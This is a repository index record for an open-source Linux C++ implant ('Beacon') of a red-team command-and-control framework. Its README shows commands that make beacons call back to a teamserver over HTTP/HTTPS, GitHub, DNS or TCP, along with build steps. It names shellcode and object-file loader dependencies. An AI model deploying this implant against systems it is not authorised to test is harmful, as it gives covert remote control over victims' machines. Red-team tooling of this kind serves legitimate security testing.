{"id":21528994,"url":"https://github.com/maxdcb/c2linuximplant","last_synced_at":"2026-01-04T07:05:18.466Z","repository":{"id":262954906,"uuid":"882308825","full_name":"maxDcb/C2LinuxImplant","owner":"maxDcb","description":"Linux C++ Implant for Exploration C2","archived":false,"fork":false,"pushed_at":"2025-03-13T13:31:24.000Z","size":174,"stargazers_count":7,"open_issues_count":0,"forks_count":2,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-03-13T14:33:13.506Z","etag":null,"topics":["c2","commandandcontrol","cybersecurity","redteam"],"latest_commit_sha":null,"homepage":"","language":"CMake","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/maxDcb.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-11-02T13:30:25.000Z","updated_at":"2025-03-13T13:31:27.000Z","dependencies_parsed_at":"2024-12-06T15:32:58.433Z","dependency_job_id":"f7a88a7d-ca78-42ca-80c8-8147ffdd9cc1","html_url":"https://github.com/maxDcb/C2LinuxImplant","commit_stats":null,"previous_names":["maxdcb/c2linuximplant"],"tags_count":10,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxDcb%2FC2LinuxImplant","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxDcb%2FC2LinuxImplant/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxDcb%2FC2LinuxImplant/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxDcb%2FC2LinuxImplant/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/maxDcb","download_url":"https://codeload.github.com/maxDcb/C2LinuxImplant/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244094274,"owners_count":20397020,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["c2","commandandcontrol","cybersecurity","redteam"],"created_at":"2024-11-24T01:55:31.211Z","updated_at":"2026-01-04T07:05:18.449Z","avatar_url":"https://github.com/maxDcb.png","language":"CMake","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Exploration C2 Linux Implant\n\n## Overview\n\n**Exploration** is a modular Command and Control (C2) framework designed for red team operations. This repository provides the **Beacon** component implemented in C++ for targeting Linux systems. The associated TeamServer and Client components are available in the [C2TeamServer](https://github.com/maxDcb/C2TeamServer) repository.\n\nMultiple Beacons in this project are capable of communicating with the TeamServer over various channels. Supported transport mechanisms include HTTP/HTTPS, GitHub, DNS, and TCP.\n\n## Communication Examples\n\n```bash\n# HTTP/HTTPS\nBeaconHttp \u003cTEAMSERVER_IP\u003e \u003cLISTENER_PORT\u003e \u003chttp|https\u003e\nBeaconHttp 10.10.10.10 8443 https\nBeaconHttp 10.10.10.10 8080 http\n\n# GitHub\nBeaconGithub \u003cGITHUB_USER/REPO\u003e \u003cACCESS_TOKEN\u003e\nBeaconGithub maxDcb/C2Implant ghp_dsfgdfhdf5554456g4fdg465...\n\n# DNS\nBeaconDns \u003cDNS_SERVER\u003e \u003cTEAMSERVER_DOMAIN\u003e\nBeaconDns 8.8.8.8 bac.superdomain.com\n\n# TCP\nBeaconTcp \u003cLISTENER_IP\u003e \u003cLISTENER_PORT\u003e\nBeaconTcp 127.0.0.1 4444\n```\n\n## Build Instructions\n\n### Submodules \u0026 External Dependencies\n\nThis project utilizes several external libraries and tools:\n\n* [Donut](https://github.com/TheWover/donut): Generates shellcode from PE files.\n* [COFFLoader](https://github.com/trustedsec/COFFLoader): Executes object files, such as those in [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF).\n* [cpp-base64](https://github.com/ReneNyffenegger/cpp-base64): Provides base64 encoding/decoding.\n* [nlohmann/json](https://github.com/nlohmann/json): JSON parsing library.\n\n### Building the Linux Beacons and Modules\n\nInitialize submodules and prepare the build environment:\n\n```bash\ngit submodule update --init\nmkdir build\ncd build\n```\n\nCompile:\n\n```bash\ncmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake\n\nmake -j4\n```\n\nProject can also be build with the C2Core package:\n\n```\n# download last linux package\nurl=\"$(curl -sH 'Accept: application/vnd.github+json' \\\n  ${GITHUB_TOKEN:+-H \"Authorization: Bearer $GITHUB_TOKEN\"} \\\n  'https://api.github.com/repos/maxDcb/C2Core/releases?per_page=100' \\\n  | jq -r '[.[] | select(.tag_name|startswith(\"linux-\"))]\n           | sort_by(.created_at) | reverse\n           | .[0].assets[]\n           | select(.name|test(\"^C2Core-Linux.*\"))\n           | .browser_download_url' | head -n1)\"\n\nfname=\"${url##*/}\"\ncurl -L \"$url\" -o \"$fname\"\necho \"Downloaded: $fname\"\n\nmkdir -p C2Core-Linux \u0026\u0026 tar -xzf C2Core-Linux.tar.gz -C C2Core-Linux\n\nexport CMAKE_PREFIX_PATH=`pwd`/C2Core-Linux\n\ncmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake\n\nmake -j4\n```\n\n\n### Output Locations\n\n* Compiled Beacons: `Release/Beacons`\n* Compiled Modules: `Release/Modules`\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmaxdcb%2Fc2linuximplant","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmaxdcb%2Fc2linuximplant","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmaxdcb%2Fc2linuximplant/lists"}